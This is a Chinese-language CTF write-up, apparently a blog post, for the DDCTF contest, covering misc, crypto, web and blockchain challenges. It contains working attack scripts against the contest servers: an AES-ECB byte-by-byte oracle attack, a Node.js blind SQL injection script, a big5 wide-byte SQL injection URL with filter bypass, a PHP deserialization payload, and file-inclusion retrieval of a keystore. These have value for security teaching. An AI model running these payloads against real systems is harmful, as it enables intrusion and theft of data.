Fork me on GitHub

DDCTF writeup

Misc

签到题

公告

(╯°□°)╯︵ ┻━┻

将字符串base64解码后再凯撒移位即可获得flag.

第四扩展fs

binwalk 可从图片中获得一个压缩包,图片右击属性里面详细信息-备注可获得压缩包密码为Pactera,解压压缩包后获得一个文本文件,复制内容进行字频统计即可获得flag在线字词频率统计 misc2

流量分析

协议分级,看到有ftp协议、stmp协议,stmp协议中有一个base64后的图片,提取该图片并解码可以发现一串字符串,经题目提示可知为一个私钥文件,用ocr软件提取后并修改错误补全格式,wireshark中导入即可看到最后的部分解密出一个http封包,内容中可以获得flag。 私钥图片 capt

安全通信

利用aes_ecb分组加密的特点,而且generate_hello中的message长度可控,所以可以按位爆破flag. poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket
mission_key="2acba569d223cf7d6e48dee88378288a"

begin=24

ans=""

while True:
f=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
f.connect(("116.85.48.103",5002))
print f.recv(1024)
f.send(mission_key+"\n")
print f.recv(1024)
f.send('a'*begin+"\n")
crypt=f.recv(1024)
data=f.recv(1024)
print crypt,data,begin,((len(ans)/16)+1)*32
querystring='{}0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
i=0
while i<len(querystring):
f.send(querystring[i]+ans+"\n")
info=f.recv(1024).split()
#print querystring[i]
try:
data=info[0]
except:
continue
#print info,data,-(((len(ans)/32)+1)*32+1),crypt[-((len(ans)/32)+1)*32-1:-1]
if(crypt[-((len(ans)/16)+1)*32-1:-1]==data):
print "mark"
ans=querystring[i]+ans
print ans
begin=begin+1
break
data=f.recv(1024)
#print "[+]"+data
i=i+1
print "================data is {} end a loop".format(ans)

WEB

数据库的秘密

盲注,里面的js加密算法懒得看所以直接用nodejs编写盲注脚本,导入网页中引入的math.js用于加密,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
    var http=require('http');
var querystring=require('querystring');
var math=require('./math');
var cheerio=require("cheerio");

var key="adrefkfweodfsdpiru";

function signGenerate(obj, key) {
var str0 = '';
for (var i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return math(str0 + key)
};

var request=function(options,postData) {
return new Promise((resolve)=> {
var data="";
var req = http.request(options, function (res) {
res.on("data", function (chunk) {
data+=chunk.toString();
});
res.on("end", function () {
//console.log("data emitted successfully");
resolve(data);
});
//console.log(res.statusCode);
});
req.on("error", function (err) {
//console.log(err, message);
})

req.write(postData);
req.end();
});
}

async function main(){
ans='';
ll=0;
for(var i=1;i<128;i++){
for(var j=1;j<128;j++) {
var obj = {
id: '',
title: 'ctf',
author: "' and ascii(mid((select secvalue from ctf_key1)," + i + ",1))-" + j + "#",
date: '',
time: parseInt(new Date().getTime() / 1000)
};
//console.log(obj.author);
//console.log(obj);
var sign = signGenerate(obj, key);
var options = {
hostname: '116.85.43.88',
method: 'POST',
port: 8080,
path: '/PEQFGTUTQMZWCZGK/dfe3ia/index.php?' + querystring.stringify({'sig': sign, 'time': obj.time}),
headers: {
'X-Forwarded-For': '123.232.23.245',
'Content-Type': 'application/x-www-form-urlencoded'
}
}
var data = await request(options, querystring.stringify(obj));
//console.log(data);break;
var $ = cheerio.load(data);
if($('tr').length==0)console.log(data);
//console.log($('tr').length);
if ($('tr').length == 3){ ans = ans + String.fromCharCode(j);break}
}

console.log('[+]'+ans);
if(j==128)break;

}
}
main();
```



其中math.js即为网页中的math.js,最后一行添加:

```js
module.exports=hex_math_enc;

web1

专属链接

文件包含漏洞,而且通过报错界面可获得类名称,因此可以获得.class文件,这里贴一下获得的一些比较重要的源码:

InitListener.java


// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   InitListener.java

package com.didichuxing.ctf.listener;

import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.*;
import java.security.*;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.*;
import org.springframework.web.context.WebApplicationContext;

public class InitListener
    implements ApplicationListener, InitializingBean
{

    public InitListener()
    {
        properties = new Properties();
    }

    public void afterPropertiesSet()
        throws Exception
    {
        System.out.println("afterPropertiesSet");
        try
        {
            java.io.InputStream inputStream = getClass().getClassLoader().getResourceAsStream("/properties/conf.properties");
            properties.load(inputStream);
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
        p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
    }

    public void onApplicationEvent(ApplicationEvent event)
    {
        if(!(event.getSource() instanceof ApplicationContext))
            return;
        WebApplicationContext ctx = (WebApplicationContext)event.getSource();
        if(ctx.getParent() != null)
            return;
        String regenflag = properties.getProperty("regenflag");
        if(regenflag != null && "false".equals(regenflag))
        {
            System.out.println("skip gen flag");
            return;
        }
        try
        {
            flagService.deleteAll();
            int id = 1;
            String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
            String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
            System.out.println(path);
            String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
            String emails[] = emailsString.trim().split("\n");
            KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
            FileInputStream inputStream = new FileInputStream(ksPath);
            keyStore.load(inputStream, p.toCharArray());
            Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
            Cipher cipher = Cipher.getInstance(key.getAlgorithm());
            cipher.init(1, key);
            SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
            Mac mac = Mac.getInstance("HmacSHA256");
            mac.init(signingKey);
            SecureRandom sr = new SecureRandom();
            String as[] = emails;
            int i = as.length;
            for(int j = 0; j < i; j++)
            {
                String email = as[j];
                String flag = (new StringBuilder()).append("DDCTF{").append(Math.abs(sr.nextLong())).append("}").toString();
                String uuid = UUID.randomUUID().toString().replace("-", "s");
                byte data[] = cipher.doFinal(flag.getBytes());
                byte e[] = mac.doFinal(String.valueOf(email.trim()).getBytes());
                Flag flago = new Flag();
                flago.setId(Integer.valueOf(id));
                flago.setFlag(byte2hex(data));
                flago.setEmail(byte2hex(e));
                flago.setOriginFlag(flag);
                flago.setUuid(uuid);
                flago.setOriginEmail(email);
                flagService.save(flago);
                System.out.println((new StringBuilder()).append(email).append("\u540C\u5B66\u7684\u5165\u53E3\u94FE\u63A5\u4E3A\uFF1Ahttp://116.85.48.102:5050/welcom/").append(uuid).toString());
                id++;
                System.out.println(flago);
            }

        }
        catch(KeyStoreException e)
        {
            e.printStackTrace();
        }
        catch(IOException e)
        {
            e.printStackTrace();
        }
        catch(NoSuchAlgorithmException e)
        {
            e.printStackTrace();
        }
        catch(CertificateException e)
        {
            e.printStackTrace();
        }
        catch(UnrecoverableKeyException e)
        {
            e.printStackTrace();
        }
        catch(NoSuchPaddingException e)
        {
            e.printStackTrace();
        }
        catch(InvalidKeyException e)
        {
            e.printStackTrace();
        }
        catch(IllegalBlockSizeException e)
        {
            e.printStackTrace();
        }
        catch(BadPaddingException e)
        {
            e.printStackTrace();
        }
    }

    public static String byte2hex(byte b[])
    {
        StringBuilder hs = new StringBuilder();
        for(int n = 0; b != null && n < b.length; n++)
        {
            String stmp = Integer.toHexString(b[n] & 0xff);
            if(stmp.length() == 1)
                hs.append('0');
            hs.append(stmp);
        }

        return hs.toString().toUpperCase();
    }

    final String k = "sdl welcome you !";
    private FlagService flagService;
    private Properties properties;
    private String p;
}

FlagController.java


package com.didichuxing.ctf.controller.user;

import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.PrintStream;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;


@RestController
@RequestMapping({"flag"})
public class FlagController
{
  @Autowired
  private FlagService flagService;

  public FlagController() {}

  @RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
  public String getFlag(@PathVariable("email") String email, ModelMap model)
  {
    Flag flag = flagService.getFlagByEmail(email);


    return "Encrypted flag : " + flag.getFlag();
  }


  @RequestMapping({"/testflag/{flag}"})
  public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
  {
    String[] fs = flag.split("[{}]");
    Long longFlag = Long.valueOf(fs[1]);

    int i = flagService.exist(flag);


    if (i > 0) {
      return "pass!!!";
    }
    return "failed!!!";
  }


  private void init()
  {
    System.out.println("test");
  }
}

可以看到在数据库中保存了SHA256后的email和RSA加密后的flag,而FlagController提供了利用加密后的email获取加密后的flag的接口。猜测这里的email为主页上联系方式处的email:**8071103253958342134@didichuxing.com**。将email加密后获取到flag,使用以下java代码来解密:

package com.company;

import javax.crypto.Cipher;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.security.*;
import java.security.cert.Certificate;

public class Main {

    public static void main(String[] args) {
    // write your code here
        try {
            FileInputStream str = new FileInputStream(new File("/tmp/xxx.xx"));
            String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
            KeyStore keystore=KeyStore.getInstance(KeyStore.getDefaultType());
            FileInputStream input=new FileInputStream("/tmp/sdl.ks");
            keystore.load(input,p.toCharArray());
            Key key=keystore.getKey("www.didichuxing.com", p.toCharArray());
            Certificate cert=keystore.getCertificate("www.didichuxing.com");
            PublicKey publicKey=cert.getPublicKey();

            Cipher cipher=Cipher.getInstance(key.getAlgorithm());
            System.out.println(Cipher.DECRYPT_MODE);
            System.out.println(Cipher.ENCRYPT_MODE);
            cipher.init(Cipher.DECRYPT_MODE,publicKey);
            byte m[]=str.readAllBytes();
            System.out.println(m);
            byte data[]=cipher.doFinal(m);
            System.out.println(new String(data));

        }
        catch(Exception e){
            e.printStackTrace();
        }

    }
}


其中 /tmp/sdl.ks是通过文件包含漏洞读取到的ketstore文件,包含公钥与私钥信息,/tmp/xxx.xx保存加密后的flag. 解密后获得flag. web2

注入的奥妙

首先是sql注入,页面提示后端数据库的编码是big5编码,因此从big5编码表中找到5c结尾的汉字即可绕过add_slashes;其中关键字过滤可以用双写来绕过,最终的获取route_rules表的内容的payload为:

http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E5%85%9D'%20and%200%20uniounionn%20select%20pattern,action,rulepass%20%20from%20route_rules%23

中间暴库时需要转换编码 convert(xxx using big5)

获取到路由规则表的内容:

action pattern type
get*/ u/well/getmessage/ s
get*/ u/justtry/self/ s
post*/ u/justtry/try JustTry#try
static/bootstrap/css/backup.css static/bootstrap/css/backup.zip

访问static/boostrap/css/backup.css,可获取网页的所有源码,可以看到justtry/try处为反序列化,可以利用这里的反序列化反序列化test类即可获取flag. 生成反序列化脚本的payload为:


<?php
namespace Index\Helper;
class Flag{
    public $sql;
}
class Test{
    public $user_uuid;
    public $fl;
}
class SQL{
    public $dbc;
    public $pdo;
}
$fl=new Flag;
$fl->sql=new SQL;
$test=new Test;
$test->user_uuid="c38639ed-2d7f-41bd-a412-4c489de8102e";
$test->fl=$fl;
print_r(serialize($test));

web3

mini-blockchain

解题思路:利用create_transaction在头区块后生成一条更长的链覆盖原来的链从而覆盖给黑客的交易记录,然后再利用backdoor给超市转10000,获得一个diamound;然后再将现在这条链覆盖,再利用backdoor给超市转10000,又可以获得一个flag. 添加新区块需要满足新区块的hash少于DIFFICULTY,这里使用所有数字组合来爆破。插入的区块中transaction数组为空,意味着不包含任何交易记录,这样既可避免获取私钥。 爆破新区块的脚本为:


def deal(head):
        global session
        print session
        DIFFICULTY = int('00000' + 'f' * 59, 16)
        print DIFFICULTY
        i=0
        while True:
            transferred = create_tx([], [])
            #print head 
            new_block = create_block(str(head), str(i), [])
            #print new_block
            if int(new_block['hash'],16)<DIFFICULTY:
                print json.dumps(new_block)
            i=i+1
            #print new_block
            #print "hash",int(new_block['hash'],16)

deal(sys.argv[1])

每次运行将想要插入的位置的hash作为参数,即可生成一个没有交易的空区块,当新生成的链长度大于原有链长度即可覆盖原有的链。